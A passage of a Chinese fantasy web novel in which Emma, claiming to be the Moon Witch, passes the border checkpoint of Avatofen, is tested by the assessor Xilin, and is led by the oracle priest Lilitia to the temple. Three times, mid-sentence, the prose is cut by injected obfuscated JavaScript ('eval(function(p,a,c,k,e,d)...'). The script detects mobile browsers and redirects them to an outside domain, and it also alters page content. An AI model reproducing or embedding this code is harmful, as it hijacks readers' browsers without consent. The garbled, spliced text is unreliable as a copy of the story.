黛丝特靠在软垫里,看了坐在靠椅里沉思的男人好一会儿,说:“你心情不错。” 赤砂回过神,视线望向她:“是吗?” “要是我们接触的商队里有占卜师,你总要和那些人单独聊聊。也不知道他们给你算了点什么,能把他们吓成那样,恨不能直接给你跪下。 “每次聊完,你心情反而不好。但今天送走那个占卜师之后,你的表情跟平时不一样。” 黛丝特静静地看着他:“你找到你想要的答案了吗?” 赤砂说:“你在这些方面上的聪明敏锐要是能多分给学习一点,也不至于三位数的加减法学了三年。” “打人不打脸揭人不揭短。”黛丝特眉头一皱,“你不会在记恨我前两天喝多了说你坏话吧?” “‘又’?”赤砂挑挑眉,“我没听见,要不你现在给我复述一遍。” 黛丝特抱起尾巴:“哎呀,我也不记得,已经忘干净了!还能说什么,我心底只有对我们老大的拳拳敬爱之心,日月可鉴,就算真的说了什么肯定也是在夸你对吧,要不我现在再夸你一轮抵抵……” “免了。” 赤砂虽然说了不用,但黛丝特还是说了起来:“哎,我们老大这么完美,也总不能是从石头里一蹦出来就这么大。那些占卜师能不能算你的出生年月?啧,早知道我应该截下来问一下。 “你也就得亏是长得高,个子不窜就算了,但这张脸——现在出去说你是我儿子肯定有人信。” “这么着急抬自己的辈分?” “就是想知道嘛,你从来没说过。”黛丝特直起身,“比如——老大你今年几岁,是哪里人。你偷偷告诉我,我不跟别人说。” “你可以猜。”赤砂悠悠道,“但我不会告诉你猜得对不对。” 黛丝特又躺回去了,摇头,大叹气,故作伤心。 赤砂说:“你要是想在这儿午睡把毯子盖上。” 他本打算看会儿旁边的书,但黛丝特没了动静。 赤砂疑心她这一忽儿就睡过去了,无奈但习以为常,起身从旁边捡了毯子走过去。 他刚走到黛丝特附近,看见她仍然睁着眼睛。 那目光凝在他身上了,一眨不眨。 “你说你是为了找什么东西才建立赤砂商会的。”黛丝特看着他,“如果你找到了需要的答案,也就不必留在这里了。” “我要是走了,你可撑不起这商会。” “哈哈,谁说不是呢!能在这种鬼地方撑起一座商会的疯子,可找不到下一个了啊!”黛丝特大笑,“你想别人太多啦老大。你其实真的人挺好的,我从来没见过像你这么好的人。” “你夸人找不到词了?” 黛丝特自顾自地继续:“如果你真的找到了其他要做的事,想做就去做吧!你不欠这里任何人,倒是我欠你好几条命呢!别被这里的东西绊住,老大,你在这儿不开心啊。” “我没那么着急。”赤砂把毯子往她脸上一扔,看黛丝特把毯子扯下来,“你用不着担心这些。如果我真的决定了,我会走的。” 黛丝特嗤声:“你可比自己想象得心软多了。” “你真想让我放心,还不如在魔法上多下点功夫。”赤砂皱皱眉,“不是所有人的魔法觉醒都在十二岁附近,隔上几十年的都有。你有一点魔法的天赋,虽然不多,但要是能掌握,起码能更好地保你自己的命。” “我看我学不会。你说魔法是人的愿望,我只想活下去。看起来以前的险境都还不够险,一点没激发出我这才能。现在又有老大你罩着,更是用不着担心了。要是我真有什么天赋,不如为你许愿吧!” “我用你操这份心?” “你是我老大嘛!跟我还客气什么,来我给你敬一个!我祝你——” 黛丝特支起身,记起刚刚喝水时没拿来杯子,遗憾身边没有道具。 她用空着的手虚虚圈出一个酒杯,向着赤砂高高举起,笑着说: “——我祝你心想事成。” 52.城关 “阿瓦托芬”是那块地区的名字。 它的面积并不大,可以当一座小国,或较大的城邦。 在那里建立起月神的神殿之前,它也曾有其他政体,但战乱不断,王朝更迭从未止歇。 直到“女巫”来到这里,在其上建立出了神殿的雏形。 神殿为这片土地带来了之后百年千年的和平,直至今日。 在通用语被创造完善之前,这里的住民们有自己的本土语言,“阿瓦托芬”是从那种古语里取出的意思,含义是“地上的月亮”。 而此后,那种古语反过来被冠名,称为“古阿瓦托芬语”。 但作为通用语的起源地,那里也是通用语普及度最高的地方,还会说古阿瓦托芬语的住民已经很少了。 音译的名字转到其他语言中,有时很难念读。 所以阿瓦托芬还有一个普遍为人所谈及的称呼,“月城”。 传说那里是“月出之地”,月亮每天都从那里升起。 月神神殿是阿瓦托芬毋庸置疑的核心。它与被称为“阿瓦托芬”的这片土地,在定义上仍然有所区别,但外地人大多把两者当一回事。 神殿是阿瓦托芬的执政机关,这个宗教国家的主体。 执政机关往往代表国家的意志,但神殿却只代表这个机构自身。 这就是它最特殊的地方。 某种意义上,阿瓦托芬甚至难以称为一个国家,拥有政治权力本身的是神殿,阿瓦托芬只能算是神殿的附属。 但总的说来,月神神殿仍然被认为是阿瓦托芬的一部分。 艾玛和西里斯在1394年的4月来到了“地上的月亮”边缘,春天已经降临在这片土地上。 这或许是个好兆头,艾玛喜欢春天。春天是无数变化的开头。 商队的车马只送到阿瓦托芬地界线边上。艾玛和商队的人告了别,结了车旅费,西里斯也拎好了行李。 地界线附近有供商队歇脚的驿站,许多人流往来。 有的是来自月城,准备去往别处的商队;也有来自他处,想要投奔月城的信徒或流亡者。阿瓦托芬不接待以旅行为目的的游客。 有穿着统一长袍的守卫带着兵器值守在附近,维持秩序,提供帮助。不难看出,这些守卫来自神殿。 除了给来往人员暂作停靠的驿站,地界线边上还有着一圈错落的营帐,帐帘垂着,随着人员进出时不时被掀起,门上挂着标有数字和方位的门牌。 这是进入阿瓦托芬所需要面临的第一道关卡,也被称为“城关”。 那些营帐里都是神殿的神职人员,负责接待外来者,询问他们的来历,到此的目的,进行审核,判断是否可以放行。 有时仅城关审核难以下结论,接待人员会将申请书递到更上级。在有明确的准入许可之前,外来者最多只能停留在地界线附近。 如果上级判断的最终结论是拒绝,则外来者必须在一天内离开此地。要是拒不合作,神殿也会采用武力驱逐。 艾玛在商队听说过入城审核的事,由于阿瓦托芬的特殊性,城关审核的关卡很多。 尤其,如果想要成为这里的住民,审核程序会更多一些。 除了审核人员所在的营帐,这里还有好一片帐篷留给那些等待入城申请结果的外来者暂住,同样有守卫在附近来回,监察情况。 因为见过其他国家的“城关”,艾玛看到这片营地时有点惊讶。 在地界线这里,已经能看到阿瓦托芬的城墙,但仍然有一段距离。艾玛还以为被称为“城关”的地方,应该会有那样的高墙才是。 而地界线上虽然有这一片低矮的简易设施,却和平坦的沙漠相邻。说是划定国土范围的“地界线”,但在这样开阔的地方,显然是不利于防守的。 艾玛只是这么想了想,但毕竟不了解这里的实际情况,也没有才打了个照面就要去对人家的安排指手画脚的心思。 她和西里斯两人同行,根据同行人数的不同,审核的帐篷也不一样。指路的守卫给他们点了其中一个帐篷。 帐篷里还有人,后来者就在帐篷外排队。 艾玛看了一眼门帘上的牌子,“西27北31”,不知道是按什么标准划定的。 审核的帐篷很多,或许因为是第一道审核,比较轻松的缘故,排队的时间不长,很快轮到了艾玛他们。 帐篷里正中一张桌子,坐着一位穿着制服长袍的少女,角落有两个守卫,一个柜子,帐篷侧边有采光留的窗户。桌对面只有一把椅子,西里斯很自然地选择站着,艾玛坐到少女对面,向她点头问好。 少女长相清秀,声音也温柔。她从桌面一角抽出新的申请单,在上面写了个抬头,发问很熟练:“两位吗?你们是从哪里来的?” “西边。我们之前跟着商队在各地旅行。”艾玛回答。 似乎听过很多这类开头,少女露出了歉意的表情:“阿瓦托芬不接待游客。很抱歉,如果两位只是想来这里旅行的话,我们不能放行。” “我们不是来这里旅行的。”虽然艾玛本身抱着和旅行差不多的心态。 “那两位到阿瓦托芬来,是有什么目的呢?” 艾玛想过很多种应对这个问题的答案,但她仔细想想,又觉得其实也没有掩饰的必要。 所以艾玛选择了最直接的回答:“我是月神女巫,所以想来月神的神殿看看。” 少女一愣,手里的笔打了滑,啪一下摔到桌上,在单子上溅开几个墨水点。 角落里的守卫听到这回答也呆滞了两秒,随即锐利的目光落到了艾玛身上。 少女慌忙拾起笔,压下自己动摇的情绪,收起待客的礼貌笑容,异常认真地盯着艾玛。 “这是不能开玩笑的事情。”少女的表情严肃,捏笔的手按得很紧,“请慎重考虑。如果你坚持继续这么宣称,会需要对自己的言论负责,后果可不仅仅是驱逐出境那么简单。” 在旅途的传闻里,艾玛听商人们谈起过“神殿的女巫”。 大部分人不清楚女巫的特殊之处,只以为是神殿选出来的百年一遇的魔法师,被添了些宗教色彩,实质不过是神殿这个“国家”对“女王”的一种别称罢了。 艾玛此前也预设过,即使在神殿中,说不定清楚女巫事情的人也是少数。 但现在从面前接待人员和守卫的反应看来,至少他们还是对此有所了解的。 “需要我做些证明吗?不过,我也不知道要做到什么程度,你们才会相信。”艾玛伸出手,一边密切注视着她举动的守卫顿时身体紧绷地警惕起来。 她用手指点了点桌面,被按在少女手下的申请单顿时一颤,上面沾染的墨水痕顷刻间就消失了。 少女还在对着那张白纸发愣,艾玛便将她手边半空的水杯递到她面前。 杯里的水位凭空开始上涨,最终在盈满后停住了。 “不用太紧张,要喝口水吗?”艾玛温和地问她。 少女确实觉得喉咙有点干涩,愣愣地接过杯子,杯里的水甚至是温热的。 “我……你、您……你是魔法师的事,我可以确认了。”少女几度犹豫,最终还是没有直接用敬语,“但是,‘女巫’……‘女巫’更特殊,我没法判断。” 她转过头,叫来其中一个守卫:“你带他们直接去西琳女士那里。” 那个守卫认同她的判断,向艾玛比了个“请”的手势,在前面为他们引路。 他们在营地里绕了几个弯,看来是直接跳掉了好几个本应走的关卡,守卫引他们到了一个更大的帐篷。帐篷里有好几张桌子,许多来往走动的神殿成员或待审核者,声音也更嘈杂。 守卫走上前,向站在某张桌边的女人解释了一下情况。 那本来折着手中档案的女士手上动作越听越慢,最终停下来,向守卫低声说了两句什么。守卫过来告诉门边的艾玛和西里斯,直接去找那位女士,然后离开了这里。 那位女士转过身,目光定在了艾玛身上。 这看起来是位注重外表管理的女士,衣着打扮收拾得非常整洁。 她灰色的长发间有一抹明亮的红色,很引人注意,耳坠上挂着一根红色的羽毛。 她有一双琥珀色的眼睛。时光在她眼角的皱纹里刻下了悲哀和疲倦,但哀色与衰老之外,她又有一种淡然坚韧的气质,平稳而让人安心。 艾玛走到她面前,女士先一步向她点头,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148659|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手按在胸口行礼:“你好,我是西琳,神殿的‘检定师’。” 艾玛也向她点头:“你好,我叫艾玛。” “我听说了你的情况,艾玛小姐。”西琳说,“我的工作是为入城人员进行综合检定。你自称是月神女巫,我需要测试你的能力是否与女巫相符。我听说接待的学徒已经提醒过你,但是,仍然……最后一次,我要向你强调:如果你是在说谎,你现在还来得及掉头离开。到这里为止,我们不会追究。 “女巫对神殿而言意义重大,冒认女巫的身份,是对神殿信仰的侮辱。这是很重的罪名。” “谢谢你的好意,女士。”艾玛道,“那么,请问你要用什么方式来测试我呢?” 西琳不再劝阻,向艾玛伸出一只手:“请握住我的手,放轻松。看着我的眼睛,不要移开视线。” 艾玛搭上她的手,看着西琳的眼睛。 她从前没有听说过“检定师”这种职业,也不知道有什么判定女巫的方法。就连西里斯认出她的方式,他都说得模棱两可。 艾玛最早相信自己是女巫,是因为西里斯如此坚称。 但时间流逝,这份确信越来越自然,越来越肯定。 不是因为别人怎么讲,怎么看,而是在心底某一个角落,艾玛越来越清晰地明白,她确实——和他们所说的那位“月神”有所联系。 艾玛带着些许好奇望着西琳的眼睛,不知道她能用什么方式探寻到这种联系。 她感受到四周的能量流动顺着西琳的呼应涌向她。那能量的流动很温和,不带任何敌意。 艾玛知道这是一场测试,因此不拒绝那能量的试探,接纳了它们的访问。 那能量太过温和了,被艾玛自身的主场容纳后,她几乎要感觉不到它们的存在。 这样的试探里能看出什么吗? 艾玛按照西琳所说,没有移开目光。 西琳的眼睛似乎变得更深邃了一些,她似乎在感知和沉思,看不见的信息在那流动的能量里掠过她眼前。 有人说“眼睛是心灵的窗户”。 艾玛突然想到,她们此刻对视着,就好像向彼此敞开了窗门。 西琳是否能从她的“窗户”里看见她的过去?而她们的敞开是相互的,在同样的条件下,艾玛是否也能从西琳的眼睛里看见她的经历? 这念头的升起是出于好奇,但在这种想法落定的一刻,透过那双琥珀色的眼睛,几个并不连贯的碎片画面和简短信息闪现在艾玛脑海里。 战场。尸体。鲜血。 “医生!” 伤员。病床。眼泪。 “救救我!” 尖叫。痛哭。哀嚎。 躺在血泊里的红色羽毛。 “不要”“醒一醒”“不要死”“不要留下我”。 压抑的,压抑的,冰冷的黑暗。 “好累。” 画面和声音中断。 西琳触电般猛地抽回手,甚至后退了半步。 艾玛迟了半拍才回神,下意识想关照西琳的情况,脱口而出的称呼却是:“医生。” 话刚出口,艾玛自己也愣了一下。 西琳的身体轻微地发颤,对着艾玛露出一个苦笑:“很少的情况下,会有这种意外。我‘检定’他人时所打开的通道是双向的,对方也有‘看到我’的可能,只不过大部分人不具有这样的能力。 “这是我的专长,我对这项能力的运用足够熟练,这本来是单方面的‘观察’……像这样,反过来,被看透的感觉……还是第一次。” 艾玛确认了刚刚看见的那些是西琳回忆的碎片,显然不是什么愉快的经历:“我很抱歉。” 西琳摇摇头:“请不要在意。无论您看到了什么,那都是过去的事。” 艾玛说:“那么,您看到了我的什么?” “我当不起您的敬称。”西琳敛下眼睛,避开了她的目光,“仅就我检测的结论而言,我个人认为您……‘非常接近女巫’。我的能力有限,只能测试到这里。女巫的认定非常重要,我无法下定最终结论。接下来,不是我能负责的部分了。” 西琳侧过头,对身边的少女道:“叫利利提亚大人过来。” 53.神谕祭司 少女点头,很快就匆匆离开了营帐。 西琳边上另一个女孩却面露惊讶:“利利提亚大人在这儿吗?他应该很忙,平时不会到这边来的吧……” 不等西琳回答,边上的同伴就给了她一肘,压着声音道:“你前两天在东北面帮忙不知道,他这几天都在这儿……别说了别说了。” 她们显然顾忌艾玛,在疑似女巫的人面前都有点局促。 但艾玛和西琳都听到了她们的对话,于是在等待的这个空隙,艾玛自然地抛出了疑问:“那位‘利利提亚大人’是?” “我先为您简单介绍一下神殿内的职级。”西琳简略地概括,“神殿内最主要的职位是‘祭司’,每个祭司都有不同的职务,这之中有很多细分。比如,我也是神殿的‘祭司’,现在隶属于城关的防卫部门,负责入城人员的审核工作。” “神殿里有三位主祭司,他们是神殿的最高负责人,权力仅次于议会。 “那三位分别是‘天象祭司’‘文礼祭司’,还有我们刚刚提到的利利提亚大人——他是‘神谕祭司’。” 营帐边缘的帘子被掀起一角。 不是所有人都关注到了艾玛他们那里的动静,仍旧在吵吵嚷嚷地各忙各的。直到那人走进帐子,空气里的声音削了几个度,仿佛那些杂乱的动静都为他沉淀下来。 即使艾玛这些年走过不少地方,见过不少人,看见他的第一眼,还是下意识地升起赞叹: 好漂亮的人。艾玛想。 那个叫做利利提亚的青年看起来二十岁出头,五官线条柔和,漂亮却不慑人,唇角带着微笑,很容易让人产生好感。 他银色的长发绸缎般垂落,右半边头上戴着橄榄枝形状的金色头饰,耳边晃着一对镶银的黄宝石耳坠。他的脖颈、手臂、脚腕上,项链、臂环、手镯、脚镯一样不缺,暗金色的底,或嵌着石块,或描着彩漆,手指上还有好几个戒指。 他穿着件白色的长袍,与琳琅的首饰相对,衣着却很素净,腰带上挂了几个小包和一把匕首,侧面佩着长刀。 他正漫不经心地把手搭在刀柄上,环视了帐内一圈,碰上了艾玛的目光。 利利提亚有一双蓝色的眼睛。 艾玛见过沙漠绿洲里宝石般的湖泊,但利利提亚的眼睛里闪动着更多光芒,使那蓝色呈出一种更绚丽的层次,比湖泊更漂亮。 他的目光在艾玛身上顿了一下,又移开了。 利利提亚走到西琳附近,笑着对她道:“您找我有什么事吗,女士?” 西琳对他行了个礼,向他介绍:“这位艾玛小姐很可能是月神的女巫。我进行了初步检定,但无法再做进一步判断。女巫的事关系重大,光是我无法处理,之后应该交由主祭司和议会断定,就麻烦您了。” 利利提亚眼中浮现出惊异的神色,看向艾玛。 他看起来和自己年龄差不多。 艾玛礼貌而普通地打了招呼:“你好。” “你好。”利利提亚也对她微笑,指节抵着下巴思考,“嗯……女巫的事确实需要慎重。我相信西琳女士。既然连擅长检定的您都这么判断,那肯定有进一步确认的必要。 “我会带这位小姐去神殿。不过,在那之前,请允许我多问一句——” 利利提亚对着西里斯摊开手,微笑地望着他:“这位先生,你是谁?” 在今天的行程里给艾玛全程当着移动行李架和人形挂件的西里斯也意外于自己被突然点名,扬了扬眉毛。 在他们认为艾玛有相当的可能是女巫之后,早没有人还关注他了。 或许是他拎着行李安静地站在艾玛身边,显然是她的同行者,马上就要带他们离开,所以顺便问一句。这倒也正常。 “这是西里斯,我的……”艾玛替他做出回答,但介绍到这里又顿了顿,“我的家人。” 她最终这么说。西里斯没有否认。 这回答仍然模糊,但利利提亚没有介意:“这样啊,我了解了。那么,请两位跟我走吧,神殿的方向在这边。” 他走到门边,为两人撩起帘子,等艾玛他们走出去,又笑着向西琳行了礼:“再会,女士。” 西琳点头回礼,直到门帘放下,她仍然盯着他们离开的方向有好一会儿。 身边年轻的学徒女孩们又笑着开始谈论,说利利提亚大人真好看啊,性格也好,又那么的—— 西琳打断她们:“回去工作了。” 少女们闻言轻轻闭了嘴,磨蹭回自己的位置上继续自己的活计。 仍然有疑虑不安的人忍不住发问:“西琳女士,那位小姐……真的是女巫吗?” 西琳停顿了一下,平缓地道:“议会很快会给我们结论。” 走出西琳的营帐后,距离阿瓦托芬的城墙还有段距离。利利提亚说这路程不长,走过去的时间正好方便他做些介绍。 他主动询问西里斯是否需要分担一些行李的重量,西里斯婉拒了他的好意。 作为开启话题的契机,艾玛正好问起对这片空地的困惑:“在到达这里之前,我以为阿瓦托芬的城关会有那样的城墙。” “我第一次看到的时候也觉得奇怪。”利利提亚点头,“两位来到这里之前,想必听说过神殿的特殊之处。神殿绝对中立,不干涉他国内政,但我们会接纳受战争所迫、逃亡至此的民众,无论他们是否信仰月神。 “所以阿瓦托芬的城关不设城墙,城墙令人畏惧,神殿用这种方式向来到这里的人表达友善。” 在这几年的旅途中,艾玛经过了数次战争中的国家,战争在大陆上从不鲜见。 商队多会绕开那些混乱的地方,艾玛只窥见过鲜血和灰烬的一角。 “慈悲到不容易让人相信。”艾玛说。 利利提亚笑了笑:“离开了传说的发生地,传说在任何人口中都只能是传说。相信的人和想要相信的人会来到这里,不信的人就由他们吧。” 艾玛对此表示赞同:“不过,城关那些营帐看起来虽然够用,但作为阿瓦托芬的第一道屏障,设施还是太简单了。位置离城市又有点距离,想来有很多不便。 “这样的安排有什么特殊理由吗?只是我个人的好奇,如果不方便回答,请当我没说过。” “也没什么不能说的,简单来讲……可以用‘历史原因’概括。” 利利提亚画了个圈:“神殿建在阿瓦托芬的正中,‘第一位女巫’最早占据的领地就在那里。那时候战乱不断,各个势力割据一方。历任女巫们都不支持以战止战,与那些割据势力和平共处了多年,花了很久才整合起这个国家。 “所以阿瓦托芬的地界是从中心神殿向外扩张。城关的设置风格一部分是因为这样的历史习惯,这样的布置既容易洽谈也方便自卫。” 这段路确实不长,他们谈着谈着就走到了城门边上。正门大多时候上着锁,只在少数场合才会打开。两边的侧门都敞着,一边进一边出,有守卫看守。 在城关处得到了准入许可的散客需要让守卫检查许可证明,然后在神殿成员的陪同下进入城市。 利利提亚显然不需要什么证明,守卫们刚看见他就向他行礼,即使他身后跟着陌生人且没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157316|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出示文书,也没人问一句多余的话。 他们在城墙中的甬道走到半途,利利提亚停下脚步,从腰上的小包里抽出一只白色的、纸折的鸽子。 他在纸鸽身上写几笔,将它的翅膀折了两折,举起它对着吹口气。那纸鸽顿时活过来一般扑了扑翅膀,向着城门另一头里的春光飞走了。 利利提亚转过身,打开城墙甬道墙壁上的门,里面延伸出一条向上的台阶。 阿瓦托芬的城墙由灰色的水泥砖石堆砌,他们沿着灰色的石阶向上走,墙壁上每隔一段都开着面窗。这时候还是上午,从窗口落进的阳光已经足够让人看清前面的路。 利利提亚走在最前面引路,闲谈般地问起来:“两位知道‘传送门’吗?” “有点了解,不过听说制作起来很困难,还没有见过。”艾玛说,“这里有传送门?” “是的。神殿在阿瓦托芬正中,离这里有些距离。为了节省来回时间,也为了有什么意外情况好更迅速地应对,就在城墙和神殿之间设置了传送门。” “西琳女士说你是神殿的主祭司。”艾玛说,“听起来很忙。入城审核的事务在你的工作范围之内吗?” “确实很忙呢。城关的日常工作本来不需要我过问,但前阵子,我们的‘天象祭司’做出了预言:‘西北处的城关将有大事发生’。” “议会很重视这个预言,让我有空过来走走,以防万一。但目前为止,这里一切照常,没有发生任何值得关注的事……在你们出现之前。”利利提亚顿了顿,“如果女巫真的出现在这里,那确实是能够震动整个阿瓦托芬的大事。” “你也想警告我,如果我在说谎,后果会很糟糕?”艾玛道。 “不,我没有西琳女士那么温柔。”利利提亚笑着回头看了艾玛一眼,漂亮的蓝眼睛里浮出一点隐约尖锐的东西,像是河里的碎冰。他的声音仍然平缓温和,“如果你不是真正的女巫,你们都没有机会再离开这里。” “哦,”艾玛说,“这确实比女士的提醒明白多了。” “这或许有点极端。但我想,没有信徒可以忍受对神明的冒犯。” “我尊重你们的信仰。”艾玛点头,“有件事,我刚才一直在好奇。我能感觉到你是个厉害的魔法师。对于足够强大的魔法师,魔法石能提供的帮助有限,甚至可能起到扰乱魔力流动的反作用。你身上戴的魔法石有点太多了。” “很敏锐。”利利提亚并不否认,“我带着这些魔法石,因为我用得上它们,只是这样。不必为此担忧,请相信,如果我想留住两位,我做得到。” “很让人安心。”艾玛说,“顺便一问,以前有人谎称过自己是女巫吗?” “不少。”利利提亚回答,“但大部分在城关就会被审核拦下来。” 艾玛有点意外:“我以为大部分人对女巫的了解都很少。这么做有什么好处?” “只要对神殿的信仰有一定的了解,都听说过女巫的名讳。神殿刻意模糊了女巫的来历,一部分原因就是为了减少这样的假冒,但外界仍然有人知道女巫是天选的使者,并不由神殿的意志决定。 “冒领女巫的名讳,单纯一点的情况,只是对女巫的来源略知一二,抱着侥幸心理想借此得到神殿的庇护;复杂一点的就难说了,比如借着女巫的名头混进神殿,哪怕知道通不过最终的检测,也要趁机在神殿里做些什么……这类人的伪装往往更完善和巧妙。” “你担心我们是第二种?”艾玛问。 “不太像。” 利利提亚笑起来:“你们像是来这儿旅游的。” 54.召集 他们一边说,一边走过阶梯,走过城墙里曲曲折折、时起时伏的长廊。沉默的守卫们均匀地散布在附近,见到利利提亚经过,都低头行礼。 利利提亚最终带他们停在一座房间前,守卫替他们开了门。房间很小,空空荡荡,只有墙面上有着特殊的装饰。 房门正对面的墙上嵌着一圈形状颜色不一的石块,它们围成了这座房间里的另一扇“门”。 “这些是有传送能力的‘空间魔法石’。”利利提亚向他们介绍墙上的那圈石头,“每一块都是,严格地说,它们都只是“半块”。由同一块‘空间魔法石’对半分开,一半嵌在这里,一半嵌在目的地房间的墙上。 “传送门制作起来很困难,用于制作同一扇门的空间石,频率必须接近,保证在运作时能够产生稳定的共鸣。此外,嵌在那块墙壁上的石块排列,必须与这里完全一致。” 那些石块看起来像是完好的,仿佛另一半只是埋在墙壁的砖土之中。 艾玛想象了一下这传送门的构造:“就像这些空间石从未被分割开过,装饰着同一块墙壁的两面一样?” “很有趣的形容。” 利利提亚用指节在其中一块空间石上敲了三下,魔法石发出微光,空气中的能量随着敲击发出震动,像是水面传出的波纹。 艾玛新奇地感知着那能量的流转,它们在那些本为独立个体的魔法石之间流畅地游动,转了一圈,又一圈,速度越来越快,流动越来越深,像是向着墙面里陷进去一般。 利利提亚站在门边,微笑着向他们比了个请的手势。 艾玛伸出手,按在那面“墙壁”上,有一瞬像是陷进了流沙之中,却又像没有实体一般径直穿过了墙面。她感到指尖触摸着另一块空间里的光线和空气。 艾玛走过那扇门。 与昏暗沉闷的灰色城墙不同,眼前豁然开朗,金色的阳光洒在洁白的墙壁上,绿色的藤蔓和树影生机盎然地装饰着这个房间,风声在敞开的窗棂间沙沙沙地响着。 房间正中站着一位穿着轻便衣甲的女性,年龄介于二十到三十岁之间。变幻的光浮过她黑色的长发,有一会儿流动出介于粉棕和紫混合的色彩,像光掠过蝶翼。 她有一双很深的、漆黑的眼睛。那双眼睛刚碰到艾玛的目光,就垂了下去。 她右眼眼角下有一点泪痣,长发和眉眼颜色很深,显得她肤色比常人更冰冷。腰上佩着武器,双手背在身后,站姿笔挺,像一柄插在地里的石剑。 西里斯和利利提亚只迟了艾玛半步,很快也来到了这个房间。 传送门上漫开的能量波纹缓缓地沉淀下去,最后归于平静。 女人看见利利提亚,躬身向他行了一礼。 利利提亚向她点头,对艾玛介绍:“这位是荷尔贝拉,第七轻骑兵小队的队长,议会直属的十二监察骑士之一。也可以说,她是我的监视者。” 与她冷淡的外表给艾玛的第一印象相反,艾玛从荷尔贝拉的声音里听出了一点局促:“请不要这么说。” “监察骑士是议会选出,对议会负责,监督主祭司工作的骑士。职级上比我低,但要是我做了什么违背职责的事,被监察骑士报给议会,那就糟糕了。从这个角度上说,我需要害怕他们呢。” 荷尔贝拉的眼睫颤动,更低地垂下眼睛,背在身后的手握紧了自己的手腕。 她的嘴唇抿成一线,不知道是默认还是不知如何应答。 利利提亚的语气仍然放松:“虽然在工作上是需要互相警惕的关系,但我们在工作之外相处得很不错。贝拉只是有点内向,她非常优秀。你应该收到我传给你的信鸽了吧,贝拉?” “是的。”荷尔贝拉回答,“按您的要求,我已经把消息报告给了议会和其他监察骑士,收到了部分回函,很多人一时间没法赶到。” “有几位现在能到场?”利利提亚问。 “弗里蒙斯先生,佩洛亚,埃尔比拉,哈瓦娜,说能及时过来。议会那边,德丽克丝女士说一定到场。其他人还没来得及回复。” “足够了。”利利提亚点头,“加上你我,两位主祭司,四位监察骑士,一位议会首席,足够见证这场测试的结果。” “听起来非常隆重。”艾玛说。 “如果愿意等待,场面可以更加隆重。”利利提亚笑道,“但是神殿等待女巫太久,已经不愿意再在这样的可能性面前浪费一点时间了。” 神殿的长廊很安静,能听到脚步的回声。利利提亚仍然走在靠前的位置引路,又并不走得太前,好便于跟艾玛交流。 “这么短的时间里就能在那么多人之间传递消息,很了不起,用的是那种纸鸽吗?”艾玛比划了一个她在城门时看见被放飞的纸鸽的形状。 “呵呵,确实很厉害。那是贝拉的法术。在传递消息的速度和距离上,神殿还没人能赢过她。” 艾玛钦佩地看向走在偏后位置的荷尔贝拉。听见自己被谈论,她又低了眼睛:“您过誉了。” “贝拉总是很谦虚。”利利提亚笑笑。 荷尔贝拉显然不希望话题在自己身上停留。 艾玛也不强人所难,想了想才发现还没问过:“我还不知道测试的内容。” 都快到测试场地才想起来要问这个,谁都看得出艾玛的放松和随意。 利利提亚说:“等看见就知道了。” 艾玛点头,对于将遇见的一切都并不着急。 这里到处是她不了解的东西,所以看见什么、想到什么就顺口问问,没有确切的答案也无所谓。 穿过室内的长廊,前面是一段架空的走道,楼外的花枝含着苞伸到走道上,人群里模糊的谈话声和笑声从远处被风带过来,艾玛在温暖的阳光里眯了眯眼睛。 她看见地面上神殿的工作人员们从建筑中三三两两地走出,一边闲谈一边晃悠着。 利利提亚注意到她的视线:“差不多到正午了,正好碰到午休时间,这会儿比较热闹。” 艾玛看了那边一会儿:“这么说,你现在是在加班?” “工作多的时候,休息时间划得不那么清楚。”利利提亚看着前方走道的尽头,“——不过,看来有人在这额外的加班时间,反而心情很好。” 艾玛顺着他的目光看过去。走道尽头倚着位年长的女性,手臂搭在墙上,阳光晒着她半个身子,晃荡着她酒杯里的冰块和橙色的酒液。 她的头发已经有大片斑白,掺着几缕原本的棕色,微微卷曲着,盘在脑后,插着几枚花型的发饰。她半眯着灰色的眼睛,仿佛带了点放松的醉意,哼着乡间的小调,皮肤上的皱纹都惬意地展开来。 她靠在那里,挽着袖子,长年训练所保持的体态和仍然富有力量的手臂线条融入在她的闲散中,让人不敢轻视。 她看起来像一头散漫地正晒着太阳休息的狮子。 那狮子听见他们的到来,不慌不忙慢悠悠地移过目光,灰色的眼睛定在利利提亚身上。 “午安,德丽克丝女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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德丽克丝和缓地说:“很抱歉,艾玛小姐,我们不能立刻向你表示欢迎。在确认你是否是真正的女巫之前,过早的欢迎是对月神的不敬。” 艾玛点头:“我理解各位的顾虑。” “跟善解人意的孩子说话真让人放松。”德丽克丝笑了笑,那些严肃的神气又从她脸上消去了,眉宇飞扬起来,“贝拉,通知了几个人?说好的时间快到了,我在这儿等了好几分钟,怎么就到了弗里蒙斯和佩洛亚?” 在弗里蒙斯身边沉默的女性手里还拿着文件档和笔,熟练地帮德丽克丝收起了酒杯,听见自己被点名,目光也移到了荷尔贝拉身上。 荷尔贝拉报了一遍先前回复过的人名:“时间紧张,他们或许还没来得及赶到。” 德丽克丝摇摇头,转身走在前面领路:“不必等他们了。只是这样的场合,不够热闹实在可惜。” 